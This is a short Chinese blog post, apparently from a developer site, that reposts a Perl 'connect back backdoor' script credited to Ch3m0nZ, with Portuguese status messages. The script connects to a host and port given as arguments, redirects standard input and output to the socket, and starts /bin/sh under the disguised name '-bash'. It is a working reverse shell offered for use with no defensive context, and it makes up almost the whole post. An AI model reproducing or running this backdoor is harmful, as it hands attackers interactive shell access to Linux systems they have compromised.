linux下的一个后门

最新推荐文章于 2024-07-16 19:11:20 发布

破法者

最新推荐文章于 2024-07-16 19:11:20 发布

阅读量1k

点赞数

分类专栏：其他文章标签： linux server socket stream tcp

其他专栏收录该内容

93 篇文章 0 订阅

订阅专栏

#!/usr/bin/perl
# Connect Back Backdoor by Ch3m0nZ
# Viva Satanic Souls

use Socket;

print "Connect Back Backdoor by Ch3m0nZ - Satanic Souls/n/n";

if (!$ARGV[0]) {
      printf "Alvo: $0 [Host] <Port>/n";
      exit(1);
    }

print "[*] Enviando comandos maliciosos/n";

$host = $ARGV[0];
$port = 80;

if ($ARGV[1]) {
      $port = $ARGV[1];
    }

print "[*] Conectando..../n";

$proto = getprotobyname('tcp') || die("[-] Protocolo desconhecido/n");

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Erro de Socket/n");

my $target = inet_aton($host);

if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
      die("[-] Não é possivel conectar/n");
    }

print "[*] Obtendo acesso do servidor/n";

if (!fork( )) {
      open(STDIN,">&SERVER");
      open(STDOUT,">&SERVER");
      open(STDERR,">&SERVER");
    
      exec {'/bin/sh'} '-bash' . "/0" x 4;
      exit(0);
    }

print "[*] Conectado! Divirta-se. HeHeHe/n/n";